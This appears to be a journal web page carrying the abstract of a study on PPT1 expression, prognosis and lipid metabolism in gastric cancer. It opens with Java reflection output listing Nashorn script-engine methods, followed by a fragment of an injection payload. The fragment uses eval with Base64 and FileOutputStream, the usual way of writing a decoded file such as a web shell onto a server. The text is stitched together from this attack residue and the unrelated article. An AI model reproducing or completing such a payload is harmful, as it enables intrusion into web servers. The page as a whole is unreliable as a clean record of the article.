public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (8): 1915-1925.doi: 10.12122/j.issn.1673-4254.2026.08.19

Previous Articles    

Prognostic value of palmitoyl-protein thioesterase-1 in gastric cancer and its regulatory role in tumor cell lipid metabolism

Bingyi HUANG1,2,3(), Yujie GAO1,2,3, Jingyi XIE1,2,3, Chen YAN2,3, Mengru GU2,3, Zhizhi ZHANG2,3, Jintao GUO1,2,3, Song LIU1,2,3, Ziliang WANG1,2,3, Yuping YANG4, Lugen ZUO1,2, Deli CHEN1,2()   

  1. 1.Department of Gastrointestinal Surgery, First Affiliated Hospital of Bengbu Medical University, Bengbu 233004, China
    2.Anhui Provincial Key Laboratory of Basic and Translational Research of Inflammation-related Diseases, First Affiliated Hospital of Bengbu Medical University, Bengbu 233004, China
    3.Graduate School of Bengbu Medical University, Bengbu 233030, China
    4.Bengbu Hospital of Comprehensive Regional Medical Center (Second Affiliated Hospital of Bengbu Medical University), Bengbu 233004, China
  • Received:2025-12-08 Online:2026-08-20 Published:2026-08-01
  • Contact: Deli CHEN E-mail:huangbingyi1005@163.com;13965295950@139.com

Abstract:

Objective To investigate palmitoyl-protein thioesterase-1 (PPT1) expression in gastric cancer (GC), its prognostic significance, and its regulatory role in tumor cell lipid metabolism. Methods PPT1 expression was analyzed using TCGA-STAD data and immunohistochemistry of clinical samples. In a retrospective cohort of 136 GC patients undergoing radical resection, the association between PPT1 and 5-year survival was evaluated using Kaplan-Meier and Cox regression analyses, and a nomogram was constructed and validated by ROC analysis. GO and REACTOME enrichment analyses were conducted to identify the pathways involved. In cultured GC cell lines with PPT1 knockdown or overexpression, the changes in cell proliferation, migration and invasion were assessed using CCK-8 and Transwell assays. Oil Red O staining, Western blotting and U0126 rescue experiments were performed to explore the role of PPT1-mediated ERK signaling in tumor cell lipid metabolism. Results PPT1 protein, localized in the cytoplasm, was significantly upregulated in GC tissues compared with adjacent normal tissues. High PPT1 expression was closely correlated with elevated serum CEA and CA19-9 levels and advanced T and N stages (P<0.05), and was an independent risk factor for reduced 5-year postoperative survival. The nomogram incorporating PPT1 showed good predictive accuracy (C-index=0.812) with an AUC of 0.837. In cultured GC cells, PPT1 knockdown significantly suppressed while PPT1 overexpression promoted cell proliferation, migration and invasion. PPT1 overexpression induced abnormal intracellular lipid accumulation in GC cells and significantly upregulated the expressions of the key lipogenic proteins SREBP 1 and FASN, and this pro-lipogenic effect and subsequent ERK signaling activation were effectively reversed by U0126. Conclusion PPT1 is overexpressed in GC tissues and predicts poor prognosis. PPT1 overexpression promotes GC progression by activating the ERK signaling pathway and thereby modulating lipid metabolism, suggesting its potential as a novel prognostic biomarker and a therapeutic target for GC.

Key words: gastric cancer, palmitoyl-protein thioesterase-1, poor prognosis, proliferation, migration and invasion, lipid metabolism, MAPK signaling pathway